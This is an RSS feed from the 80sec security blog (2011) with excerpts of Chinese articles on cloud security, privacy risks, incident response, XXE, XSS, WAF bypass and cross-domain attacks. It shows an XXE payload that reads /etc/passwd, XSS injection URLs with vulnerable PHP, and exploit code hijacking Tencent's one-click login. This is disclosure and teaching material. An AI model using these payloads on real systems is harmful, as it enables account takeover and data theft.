<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>80sec</title>
	<link>http://www.80sec.com</link>
	<description>Know it then hack it!</description>
	<lastBuildDate>Tue, 20 Dec 2011 08:10:25 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.2.1" -->

	<item>
		<title>从对SAE的一次授权安全评估浅谈云安全</title>
		<description><![CDATA[EMail: jianxin#80sec.com Site: http://www.80sec.com Date: 2011-12-20 From: http://www.80sec.com/ [ 目录 ] 一 背景及描述 二 什么是云 三 什么是云安全 四 如何对云进行安全设计 五 对SAE的一次授权安全评估检测 一 背景及简述 由于国外的服务器访问较慢并且经常性的出现无法访问的情况，我们较早就与SAE合作将WooYun项目迁移至了较为稳定的SAE平台，后来与新浪SAE在安全方面也建立了合作关系，其中就包括此次安全评估测试。另外一方面，目前业界对云安全的讨论更多的都是在理论方面，很多的专家学者乃至安全研究人员和黑客都在讨论云安全，却很少有对实际的生产环境的云进行评估分析甚至入侵的案例，80sec也一直对云安全有自己的想法，但是缺乏实际的案例所以一直也没有相关的文档产出，我们在SAE对这些安全问题修复之后，经过SAE方面允许将此次对一个典型的paas云的评估过程公开，顺便提一些我们80sec在云安全方面的一些粗浅的想法，相关的一些详细安全问题也会被同步提交到乌云-漏洞报告平台上，说安全不如做安全：） 二 什么是云 我们理解的云是一种新的资源使用方式，包括存储，数据，计算，网络&#8230;&#8230;等等，这种资源相比传统的资源来讲，更接近一种基础能源，需要多少就用多少，类似于基础设施里的水和电的这种弹性，按照用多少进行付费，到目前为止，我们都很难对云有一个精确的定义，我们站在安全的角度只能粗浅的将云分为： 私有云：为企业内部业务服务的，具有无限计算能力和无限存储能力的云服务； 公有云：为外部用户提供服务的，在计算能力和存储能力不限的基础上，可能会与公司核心资源一起以saas的形式提供给外部用户服务的云； 同样，按照云实际的表现形式和作用又可以分为iaas，paas，saas，不同类型的云是资源本质上的不同，下一层为上一层服务，iaas提供网络和系统层面上的资源细粒度划分，paas依赖于iaas可以做到将存储，计算，数据等资源开放给第三方开发者，而借助paas提供的平台，可以在之上实现各种各样的软件层面的saas结合公司核心资源以给用户提供服务； 三 什么是云安全 安全永远是对数据而言，安全的本质是数据的安全，包括可用，保密和不可篡改，安全上的一个挑战是云安全本质上改变了数据的处理方式，从传统的数据拥有者对安全负责变成数据处理者和数据拥有者同时对安全负责。 云安全带来的另外一个挑战是一个矛盾，对于使用者而言如果我要使用云，因为我可能会将敏感数据传到云上，我要先确保云是安全的，而如果我是一个云的建设者，我要对云安全负责，我得首先确认云里的数据处理和协作方式，而在数据规模和具体应用还不成熟的情况下，做到这一点会有难度，我无法保护一个威胁模型都不成熟的系统，所以目前一方面出现一个云安全先于云计算发展的局面，但是同时云安全因为云计算业务发展不够导致会处于一个理论和策略层面的情况； 不同的云，因为实际的业务目标和蕴含的数据不同，会有不同的安全威胁从而会有不同的云安全，譬如paas所需要考虑的东西和一个iaas需要考虑的安全会是完全不同的，同样私有云的安全目标和公有云的安全目标也会完全不同，依然是很久之前80sec提到的，不理解上下文的安全是没有意义的； 四 如何对云进行安全设计 我相信任何一个事物的安全性会由如下方面造成，它本身蕴含的价值，这种价值所吸引带来的风险，是否有考虑到这种风险的防护及实际的解决方案，解决方案是否得到正确的实现，正确实现解决方案后是否形成有效的体系进行管理和运维，任何一个环节的缺失都会带来不安全性； 对于云，我们相信没有统一的云安全，所以只能选择一个目前较为典型的例子paas来谈我们对云安全设计的浅显看法，我们将考虑如下几个维度： a) 资产价值：我们需要了解到该业务核心的价值所在，不同价值的数据会导致不同的安全威胁，譬如对于paas来讲，我们就很不赞成将私服（你懂的），银行等系统运行于paas之上，它不适合你，而且高价值的资产引入将提高云的风险； b) 安全风险：特定的资产会遭受不同的安全风险，一个涉及国家机密的网站所可能承受的安全风险和一个个人Blog必定是完全不同的，分析我们所可能承受的风险，譬如拒绝服务，用户数据被非法访问，对内部网络的渗透等等； c) 威胁建模：根据云可能承受的风险以及会造成这些风险的途径，重点在于分析系统的体系结构，安全域以及各安全域的边界，并且建立威胁模型譬如在paas云平台和internet的边界方面需要考虑的包括外网的网络攻击，恶意扫描等，对于用户数据和平台数据边界间应该考虑恶意代码对平台数据，甚至因为paas多用户的特殊性，应该考虑用户数据间边界的威胁；在这之外还要考虑平台对内部数据中心的影响； d) 安全策略：基于上述的威胁建模，我们可以针对各种威胁进行必要的安全策略以杜绝和弱化风险，譬如要求在paas云边界上部署防火墙，在平台和内部网络之间部署入侵检测及监控系统；对于平台和用户以及用户与用户之间要求做到安全隔离等等； e) 技术控制：对于策略如何能够具体的落实到执行，是一件较难的事情，同时也是最重要的一部分工作，大多数的企业也最缺少对这块的技术评估，没有足够的技术支撑，安全策略也只是一纸空文；这部分基本应该包括安全基线，访问控制，异常监控 可以看到，我们的安全设计是以数据和风险驱动的安全设计，以新浪云SAE为例，我们可以将涉及的数据按照属性和安全等级分为若干安全区域，各安全区域内实现相应等级的安全控制，区域间的访问行为需要受到严格的监控和审计： a) 新浪内部数据（位于新浪IDC内部，未授权对新浪内部收据的访问将导致危害） b) SAE平台数据（平台支撑整个用户数据的安全，安全等级较高） c) [...]]]></description>
		<link>http://www.80sec.com/sae-security.html</link>
			</item>
	<item>
		<title>谁动了我的隐私 &#8212; 隐私风险初探</title>
		<description><![CDATA[EMail: fenggou#80sec.com Site: http://www.80sec.com Date: 2011-12-6 [目录] 0&#215;00 前言 0&#215;01 隐私安全初探 0&#215;02 “云”存储隐私风险 0&#215;03 移动终端隐私风险 0&#215;04 隐私威胁对抗 0&#215;05 勺之终极奥义 0&#215;06 结语 当你凝视着深渊，深渊也在凝视着你。 &#8212; 尼采 0&#215;00 前言 这篇小文很早就有了想法，但由于自己的种种问题，未能完成，就这最近发生的一些事情，有了整理和反省的决心，决定一鼓作气完成他，给自己，给他人一些借鉴。 自从信息时代的爆发，各种服务扑天盖地袭来，人们越来越接受将自己的一切置于这个庞大、新奇、无所不能的互联网之上，各种服务技术已极快的速度更新换代、更多的生活支持，让人惊奇的同时也让人越来越依赖这个虚拟的世界。老一代的网民也许感触最深，就拿自己来说吧（当然我不是资深网民），email已经不知更新了几代，从最初的SinaMail，到163Mail邮箱再到现在的Gmail；个人信息展现平台，从个人主页，到博客，再到现在的微博；数码设备，从最初的网吧，到自己的第一台PC，到一屋子电脑、本子，再到各种智能化mobile设备；数码生活无时无刻的在改变，变的简单。有本书是这样说的：人类进步的过程，就是越来越不加思考，已最小的代价去做某件事。互联网真的让人进步了吗？在我看来，人类进步的过程倒更像是一个退化的过程。 0&#215;01 隐私安全初探 有点扯远了，回到主题。在互联网让我们“进步”的同时，我们每个人的各种隐私开始逐渐的暴漏在这个平台之上，恐怖的是人们已经越来越信任以及依赖互联网，更恐怖的是我们已经不在可以很好的控制他们。在利益和不正常的目的趋使下，互联网的险恶不亚于现实社会。很多网民也许会认为我言过了，我只是想说，未见到，不代表其未发生，互联网隐私问题上，还是要多多保持唯心的态度，举些例子吧： 1）拖库风险 这个词语在几年前也许还较为陌生，但最近一两年开始，已经算是人尽皆知了，黑客入侵有价值的网络社区，down掉会员库，建立庞大的社会工程密码库，或者根据社区性质建立人际关系库，做个分类，技术人员类，站长类，设计类乃至公司管理高层类。。。 它的价值除了密码和人际关系外，还可以挖掘一些更有意思的东西，比如统计密码习惯，密码提示问题答案，生日，手机，真实姓名，身份证号码，常用IP，住址，IM，信用卡号信息等等。 总之，一份库的价值，不在于做到做不到，而在于想的想不到。 2）电子邮件风险 国内外有很多开放的电子邮件系统，其邮件转发与登陆IP提示机制均不完善，在加上用户密码的万年不变，导致邮件的自动转发，代收等劫持攻击变的难以防范与察觉（想让用户改密码，必须得让他们意识到自己帐户已经出现安全问题，但攻击者不会给你这个机会）。公司内部邮件系统也许有访问控制的保护，但依然阻止不了转发机制，即使做到了定期检测员工邮箱转发或者干脆杜绝此类行为，但你也应该意识到，拿到内网可以访问mail系统的某个节点也是轻而易举的事情。 转发监听只是邮件攻击的一个方面，你的邮件系统是否可以伪造发件人，直接利用员工的信任关系进行客户端攻击呢，想必这个代价更低效果更佳显著吧。 3）即时通信风险 IM即时通信软件给人们的交流带来了新的体验，人们越来越接受并且依赖这个方式，前几天出现的大面积msn盗号诈骗事件已经说明一切，遇到此类情况还是当面或者电话确认一下吧，不要因小失大。也不要把你的家人全都带到网上，因为你经历了互联网洗礼你的你可以识别这种欺诈，而你的家人未必。 4）电子商务风险 PS：这部分内容没有办法给出实际的证明，但相信无风不起浪，还是多保持保持唯心吧，你也可以直接跳过这部分内容，直接无视好了。 电子商务安全问题给用户带来的不必多说，今年甚至在早些时候某支付产品被大面积小额转帐事件已经表明在利益的引诱下什么事情都可能发生，法律已经组织不了他们。然而，现在还有针对电子商务更为猥琐的攻击，订单劫持，网络商城中的每笔订单未必是按照平台逻辑那样走下去，也许中间有那么几行代码，几个程序给终止掉，交给了其他物流及商品提供方，而用户和这个平台却浑然不知呢？ 5）服务商风险 天下没有靠谱的服务提供商，或多或少都会存在一些不尽人意的地方，对安全理解方式的差异，都会在一些安全事件中成为决定性因素。服务商究竟会投入多少代价来保护用户的隐私，以及保护隐私的出发点真的是为了用户么？比如规范这个东西，服务商会用自己的方式确定资源的所属者，用规范来进行管理约束，但你是否有想过，这所谓的规范会把真正的所有者权益拒之门外？你们所谓的规范是否在起反面效果，被他人利用？ 而服务商你们是否有所察觉，你们所掌握的大量用户隐私，是否是从你们内部问题而泄漏或者交易出去的？猎头模式也许就是个很好的例子吧。 黑客拿到用户隐私（比如邮箱，手机，IM，密码等）后，就会开始对目标的探索。其实现在的用户很聪明，应该是安全事件和新闻的功劳，从让人们知道不能轻易接陌生人传来的文件，到现在不要在多处使用统一密码，比如社区级，Email级，QQ级，电商/网银级等等，聪明的用户不用多说就会给自己的隐私设定多个安全等级，但这对大部分网民来说应该还要继续加油吧，笑～因为如果不是与互联网行业以及安全相关领域，还不能很好的做到这一点，即使是安全人员，也会犯很勺的错误，哭～ 必须要承认的一点就是密码早就已经不是可靠的认证因素了（邮箱也快了），我们不提各种密码库这个最直接的方法，简单的转个弯：密码提示问题答案，密码保护邮箱，这两个基本等同于密码的东西，就算你的密码已经可以和达芬奇般的相媲美了，但这其他的关联因素你有考虑到么？ 做为用户的你是否会如实的使用“我的生日是那天”，“我的父亲叫什么”，“我的大学叫什么”此类问题？你是否会在你键盘上很惬意的用键盘区域组合做为提示问题？你是否密码做到了独立，而密码提示问题、邮箱却没有？你是否被自己杂乱无章的密码保护邮箱关系搞晕？ 而服务提供商是否想到了，用密码提示问题取回／重置密码的用户并非是真正的所有者在操作？自己的会员库是否已经在产业链中满天飞而自己还在夸夸其谈自己的安全？你是否会考虑到自己资源有效利用而不对用户进行有效的确认回收资源？你的隐私安全保障系统真的靠谱吗？用户合法认证后就不在考虑隐私安全问题？ 想说的太多，做为用户和服务商对安全都有很多要反思的地方。一个被“专家”，“安全人员”一直推荐强大密码来保障安全的方法，都会因为自己和他人很多因素所导致的问题而变的不堪一击甚至毫无意义。 好了，该醒醒了，不要只拿软件生成的随机高强度密码来保护自己的隐私了。 0&#215;02 “云”存储隐私风险 由于“云”时代的到来，用户的隐私更是被传递到了“天空”中的每一个角落，在用户还在尽力对抗传统隐私保护的同时，“云”所带来的隐私泄漏问题已经拉开序幕，而且较结果来说，“云”带来的隐患更为致命。 [...]]]></description>
		<link>http://www.80sec.com/privacy-risk.html</link>
			</item>
	<item>
		<title>80sec感恩节事件分析</title>
		<description><![CDATA[EMail: jianxin#80sec.com Site: http://www.80sec.com Date: 2011-11-30 From: http://www.80sec.com/ [ 目录 ] 0&#215;00 事件背景 0&#215;01 应急响应 0&#215;02 事件分析 0&#215;03 事件启示 0&#215;04 总结 0&#215;00 事件背景 在感恩节的晚上，我们的站点遭遇了攻击，几名未知性别的黑客成功涂改掉了我们的首页，事情发生后很多朋友对我们被攻击的原因和经过都很关心，各种猜测都有，加上我们后续对于这次攻击的分析结果来看，我们觉得整次攻击和事后应急及分析的过程都适合作为一次典型的案例分析，把整件事情披露出来无论是对我们还是对业界会非常有意义，入侵者给我们在感恩节送了这么好的礼物，我们要好好接受才对：） 0&#215;01 应急响应 事件发生之后的一段时间我们登录到服务器，由于首页替换的时间很短暂，我们甚至没有抓到截图，开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的攻击，但是作为应急响应的箴言之一，我们最好不要相信猜测，一切以日志分析为主，一旦猜测我们从开始就输了。 我们知道在webserver的日志里记录了几乎所有有价值的信息，我们后续的检测必须依赖于日志，所以建议各位日志没开的同学先把日志打开并且保存足够长的时间，在这个有价值的信息里，我们第一个需要找准的就是攻击发生的具体时间点，因为我们是首页被黑并且时间较短，我们迅速stat了下首页文件的内容，发现完全正常没有任何改变： File: `/home/jianxin/80sec.com/public_html/index.php&#8217; Size: 397 Blocks: 8 IO Block: 4096 regular file Device: ca00h/51712d Inode: 579843 Links: 1 Access: (0644/-rw-r&#8211;r&#8211;) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin) [...]]]></description>
		<link>http://www.80sec.com/80sec-attack-defend.html</link>
			</item>
	<item>
		<title>XML实体注入漏洞安全警告</title>
		<description><![CDATA[漏洞介绍：可扩展标记语言 (Extensible Markup Language, XML) ，用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集，非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。80sec发现目前一些普遍使用xml的场景中都存在一种古老的XML实体注入漏洞，这可能导致较为严重的安全问题，使得攻击者可能可以任意访问服务器以及应用所在网络的任何资源； 漏洞分析：XML作为一种使用较为广泛的数据传输格式，在语言内部允许引用外部资源来作为语言的补充，譬如 &#60;?xml version="1.0" encoding="UTF-8" standalone="yes"?> &#60;!DOCTYPE copyright [ &#60;!ELEMENT copyright (#PCDATA)> &#60;!ENTITY hi80sec SYSTEM "http://www.wooyun.org/"> ]> &#60;wooyun version="2.0"> &#60;whitehats> &#038;hi80sec; is a legend &#60;/whitehats> &#60;/wooyun> 这将使得xml解析器以当前上下文的环境引用外部的资源www.wooyun.org作为hi80sec实体的内容，从而在实际的应用上下文里将该部分数据引入逻辑流程进行处理。同样，我们可以使用 file:///etc/passwd file://localhost/etc/password 进行访问本地文件系统的操作。 不同的解析器可能默认对于外部实体会有不同的处理规则，以PHP语言为例，默认处理xml的方法就包括： xml_parse 和 simplexml_load 两种不同的方法，这两种不同的方法在底层完全采取不同的底层逻辑实现，xml_parse的实现方式为expat库，而simplexml_load使用的是libxml库，两个底层库在解析的时候细节并不一样，expat默认对外部实体并不解析，而simplexml_load默认情况下会解析外部实体等，所以simplexml_load和DOM等函数会受此问题影响，而xml_parse则默认不会受到影响。 我们不止在PHP，在包括Java，Python等处理xml的外部组件及函数中都证明可能存在此问题，而且已经在一些互联网公司的应用及一些使用广泛的开源软件中都发现存在问题。 漏洞证明：我们将在WooYun漏洞报告平台上提交我们发现的已经被证明的安全漏洞 解决方案：检查所使用的底层xml解析库，默认禁止外部实体的解析，同时增强对系统的监控，防止此问题被人利用；我们将在WooYun漏洞报告平台上发布可能受影响的，请及时关注；]]></description>
		<link>http://www.80sec.com/xml-entity-injection.html</link>
			</item>
	<item>
		<title>深掘XSS漏洞场景之XSS Rootkit</title>
		<description><![CDATA[深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011-10-15 0&#215;00 前言 众所周知XSS漏洞的风险定义一直比较模糊，XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。XSS漏洞类型主要分为持久型和非持久型两种： 1. 非持久型XSS漏洞一般存在于URL参数中，需要访问黑客构造好的特定URL才能触发漏洞。 2. 持久型XSS漏洞一般存在于富文本等交互功能，如发帖留言等，黑客使用的XSS内容经正常功能进入数据库持久保存。 3. DOM XSS漏洞，也分为持久和非持久型两种，多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。 4. FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞，同样按应用功能也分为持久和非持久型。 一般持久型XSS漏洞比非持久型XSS漏洞风险等级高，从漏洞的本质上来说这是没错的，但漏洞的利用仍然需要看场景，有时候更深入的看待场景能够挖掘出意想不到的东西，大家接着往下看。 0&#215;01 漏洞场景解析 首先我给出一段PHP分页的XSS漏洞的简单代码： demo.php————————————————————- ＜?php foreach(Array(&#8216;_GET&#8217;,'_POST&#8217;,'_cookie&#8217;) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = $_v; } ?> ＜a href=”＜? echo $_SERVER["PHP_SELF"]; ?>?i=＜? echo $id;?>”>分页＜/a> ——————————————————————— 这段PHP代码中模拟register_globals是Web程序中常见的，代码中输出了网页的分页链接这个也是常见的，因为忽略了对传入数据的效验，更产生了最常见的XSS漏洞。 下面是这个XSS漏洞的验证方法： http://127.0.0.1/demo.php?id=1&#8243;>＜script>alert(1)＜/script> GET方法在id参数中传入HTML内容，导致网页内容中的herf闭合，执行script标签里的脚本内容： ＜a href=”/demo.php?id=1&#8243;>＜script>alert(1)＜/script>”>分页＜/a> [...]]]></description>
		<link>http://www.80sec.com/%e6%b7%b1%e6%8e%98xss%e6%bc%8f%e6%b4%9e%e5%9c%ba%e6%99%af%e4%b9%8bxss-rootkit-%e4%bf%ae%e8%ae%a2.html</link>
			</item>
	<item>
		<title>浅谈绕过WAF的数种方法</title>
		<description><![CDATA[EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011-09-06 From: http://www.80sec.com/?p=244 0&#215;00 前言 08年初诞生了一种SQL群注攻击，黑客在全球范围内对asp，asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入，黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改，可以在网站上无差别的进行网页木马攻击。 互联网是快速更新迭代的，但是很多没有开发能力的单位都是通过外包建立网站，网站的程序一上线就再也无人维护，很多程序存在各种漏洞无法修补，于是WAF便有了市场，现今门槛低且最能解决问题的是针对IIS/apache的软件WAF，通常一个模块一个扩展就能搞定，当然也有耗资百万千万的硬件WAF，然而如果WAF拦截规则出现漏洞，这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢？所以本文主要解析一些可以绕过WAF的罕见漏洞，供安全人员参考。 0&#215;01 Request对象的包解析漏洞. asp和asp.net的Request对象存在一个包解析漏洞，Request对象对于GET和POST包的解析过于宽松，用一句话表达就是Request对象它GET和POST傻傻分不清楚，稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据，但是asp和.net库内置的Request对象完全不按RFC标准来，下面我们可以做个测试： 分别将下面两段代码保存为1.asp和1.aspx 使用asp的Request对象接收t参数传值 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; ＜% Response.Write “Request:” &#038; Request(“t”) %＞ &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 使用asp.net的Request对象接收t参数传值 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; ＜%@ Page Language=”C#” %＞ ＜% string test = Request["t"]; Response.Write(“Request:”+test); %＞ &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 使用下面的python脚本调用socket发送原始的HTTP包 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; #!/usr/bin/env python import socket host = &#8217;192.168.239.129&#8242; path = &#8216;/1.asp&#8217; port = 80 s [...]]]></description>
		<link>http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html</link>
			</item>
	<item>
		<title>浅谈跨域WEB攻击</title>
		<description><![CDATA[浅谈跨域web攻击 EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011-04-07 From: http://www.80sec.com 0&#215;00 前言 一直想说说跨域web攻击这一概念，先前积累了一些案例和经验，所以想写这么一篇文档让大家了解一下跨域web攻击，跨域web攻击指的是利用网站跨域安全设置缺陷进行的web攻击，有别于传统的攻击，跨域web攻击可以从网站某个不重要的业务直接攻击和影响核心业务。 传统的安全思维教会我们按资产、功能等需求划分核心业务，优先保护核心业务等，非核心业务的安全等级一般没有核心业务高，给我们错觉是非核心业务受到攻击的话，所造成损失不会很大，也不会影响到核心业务，所以让安全工作者了解跨域web攻击这一概念还是非常有意义的。 0&#215;01 基于ajax跨域设置的跨域攻击 使用ajax技术让人头痛的地方就是如何跨域，受同源策略所限不同域名包括子域名在内是无法进行AJAX请求的，随后衍生出一类技术可以通过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站通过javascript操作DOM接口 document.domain=&#8217;test.com&#8217; 将网站的域设置为test.com后，两个网站就处于同一个域内，可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术，但是在攻击者眼中这简直就是一个大后门，黑客只需要找到*.test.com下任意一个XSS漏洞，在任意一个子域名里的网页都可以跨域攻击a.test.com和b.test.com。 ajax跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略，如腾讯微博网站进行了document.domain=&#8217;qq.com&#8217;的跨域设置，我们可以针对腾讯微博做个实验，在自己的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的链接(如：http://www.qq.com），在腾讯微博中打开这个网站，然后在地址栏内用javascrit伪协议运行如下的脚本，你会发现腾讯微博所在的网页被注入了一个alert提示框： javascript:window.opener.eval('alert(/xss/)'); 最后得出结论，由于腾讯微博网站进行了跨域设置，所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页，都可以往腾讯微博跨域注入脚本运行。 案例：腾讯单点登录系统跨域劫持漏洞 QQ的客户端安装了一个快速登录插件，在客户端已登录且QQ.exe在运行的状态下,这个快速登录插件可以自动生成一个和QQ号对应的密钥，在IE浏览器访问QQ网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现，这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com，也就是在xui.ptlogin2.qq.com的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件，而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=&#8217;qq.com&#8217;的跨域设置，结果导致这个信任域形同虚设。通过QQ任意分站的一个XSS漏洞我们就能攻击xui.ptlogin2.qq.com，首先给分站的网页进行跨域设置，然后通过框架页嵌入xui.ptlogin2.qq.com的跨域设置页，由于两个网页都设置了同一个域，同源策略生效，那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分攻击代码如下： http://product.tech.qq.com/simp_search.php?keyword="&#62;&#60;/script&#62;&#60;script/src=http://127.0.0.1/xss.js&#62;&#60;/script&#62; xss.js的内容： window.name ='......' // xui.ptlogin2.qq.com域内运行的攻击脚本省略 document.domain='qq.com'; //跨域设置 function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中通过伪协议注入脚本 document.write("&#60;iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()&#62;&#60;/iframe&#62;"); 通过window.name内设置的是调用快速登录插件攻击脚本代码，被攻击者访问了我们的跨站链接后，我们就可以获取到QQ的一键登录密钥，后果不可想象。 0&#215;02 基于cookie安全的跨域攻击 以前关于csrf的文档提过cookie的“同源策略”，实际上这个只是含糊的说明了cookie的domain字段的作用。cookie的domain字段和浏览器约定俗成，如一般cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就无法访问这个cookie，所以很多网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。 案例：第三方分站沦陷导致的百度cookie安全问题 在百度的passport登录以后，百度会给客户端设置一个名为BDUSS的cookie值，这个值的domain字段是.baidu.com，如下： set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; [...]]]></description>
		<link>http://www.80sec.com/cross_domain_attack.html</link>
			</item>
	<item>
		<title>Web开发框架安全杂谈</title>
		<description><![CDATA[Web开发框架安全杂谈 EMail: wofeiwo#80sec.com Site: http://www.80sec.com Date: 2011-03-14 From: http://www.80sec.com/ [ 目录 ] 0×00 起 0×01 承 0×02 转 0×03 合 0×00起 最近框架漏洞频发，struts任意代码执行、Django csrf token防御绕过、Cakephp代码执行等等各大语言编程框架都相继暴出高危漏洞，这说明对于编程框架的安全问题已经逐渐走入安全工作者的视线。 Web开发框架就相当于web应用程序的操作系统，他决定了一个应用程序的模型结构和编程风格。框架上出了漏洞，就如同当年一个rpc远程EXP就走遍全世界windows的时代。 然而挖掘深层原因，从应用的模型和架构上考虑问题，其实这些框架漏洞都不只是一种偶然，而是一种必然。正是因为框架的模型结构，正因为他们的这种编程风格，才极大的增加了漏洞产生的可能性。 0×01承 现代编程框架的几个大特点： 1、将程序代码分为不同层次，业务开发、前端开发、数据库开发人员各司其职，框架根据需要组装代码、调度执行 2、统一化自动化逻辑处理 3、常见功能的代码库封装并高度重用 4、脚手架功能，常见代码组件自动组装生成。如默认用户系统、默认后台。 然而就是以上几点广受好评的功能导致了安全薄弱点的产生。 1、代码调度 让我们来先回顾一下WEB应用框架所最常见的MVC模型。 用户发送一个HTTP请求过来，框架的入口点（一般是route，路由）分析用户请求的url。然后依照url中蕴含的信息分析出用户所要访问的controller、action，从而分发给相应的controller文件中的action函数，执行之；随后controller再将model中的数据结合用户输入数据依照view层中的代码逻辑填充模板，最后view、controller执行完毕，返回用户最后的HTML。 整个生命周期是这样的： 用户请求url->route分发->controller接管处理用户输入及业务逻辑->view层代码执行->controller返回展现结果 从上面的流程发现了什么？ MVC模型就是一个将程序员分散在M、C、V中的代码寻找并整合在一起执行的过程。那这必然就要牵涉到一个代码调度执行的问题。这里route就是一个非常明显的例子。一个框架这么多代码文件，route每一次调用controller，都需要根据用户输入的url进行匹配并执行用户指定的函数。这里就是一个薄弱点，一个必然绕不过去的问题。 对应到现实的例子，一个非常明显的例子就是：struts2框架的动态方法调用（DMI） 当你访问www.test.com/a!test.action时，struts会根据你的url帮你映射到名为a的controller中名为test的Action方法。而通过修改test的值，我们可以访问a这个类中的所有方法。如果恰好这个方法中含有敏感的信息，攻击者就获得了一切。结合其他技巧，攻击者能够做到的更多。但这就是框架的功能，框架总是要依靠URL中的内容去匹配执行程序代码。 那么对于PHP的框架呢？仔细想一下，如果PHP需要做分散在不同文件中的代码调度执行，唯一能够实现的方式就是使用require/include函数包含文件。文件名来源于哪里？来源于用户输入的URL。实际上目前市面上的大部分PHP框架也都是这么实现的，Yii，FleaPHP等等。如果对用户的输入没有做好验证，就很容易导致一个本地文件包含漏洞。笔者曾经就在某不知名框架中发现过这样的漏洞，在不涉及应用程序逻辑的情况下，直接获取了系统权限。 2、统一化逻辑处理 框架的一大功能就是，通过统一的入口点，可以做一些统一的安全防护、逻辑控制。在软件工程学里的说法，这个叫“面向切面编程”（AOP）。 然而我们并不是说这样的统一控制模式不好，但对于这样的统一控制，如果框架设计或实现的不好，就能直接沦陷所有跑在之上的应用。 这里有一个典型的统一处理导致安全问题的极端的例子：struts2任意代码执行漏洞。 漏洞起因是struts2希望能让用户提交的值能够直接注入到程序中的数据对象，而无需手动类型转换并给内部变量赋值等操作。为此struts2专门设计了一个叫做ognl的表达式。通过它，用户提交的参数就能被自动解析为程序上下文中所存在的变量。 想想为什么能够自动解析？原因是用户提交的参数被当作自定义语言的代码被解析执行了！只是你并没有意识到这一点而已。于是有心人研究了一下，发现ognl表达式除了参数值注入，还能通过它直接调用Java自身的API。于是，一个巨大的通杀0day就这么诞生了。 回想一下，如果struts2没有这么“智能”的自动化、统一化用户输入处理机制，也就不会出现上述的大漏洞了。 前段时间爆出的Django的csrf token绕过漏洞也是在统一安全处理的设计上出的问题。深究一下，为什么会出现这样的绕过问题？原因就是，框架必须要对所有用户的提交在真正的应用执行前做统一的csrf防范，于是django框架产生的token是保存在cookie中的（老版本和sessionid有关，这个也是保存在cookie中）。对于用户提交的POST请求，表单中增加一项token，框架在获得token值后，与cookie中的正确token值比对，如果相等就通过。然而对于ajax的请求，框架设计者却想当然的认为只要判断X-Requested-With这个Ajax特有的HTTP头即可，根本无需运算比对token。所以，框架对于http头中包含有X-Requested-With域的请求放行。通常情况下，只有ajax的请求浏览器才会带上此自定义域，且浏览器一般无法自定义此字段。 结果被人发现可以利用flash+307跳转可以伪造自定义http头，结果就绕过了此防范，导致统一的csrf防护毫无作用。如果应用程序完全依靠框架的统一安全实现，就会受到安全漏洞的威胁。 其实Django也很无奈，在它的架构设计中，它通过这个自定义头判断ajax思路上也没有什么问题。可惜在目前连黄瓜都不可靠的年代，就没什么是可靠的了。 3、常见代码高度封装 [...]]]></description>
		<link>http://www.80sec.com/security-about-framework.html</link>
			</item>
	<item>
		<title>Linux 系统文件描述符继承带来的危害</title>
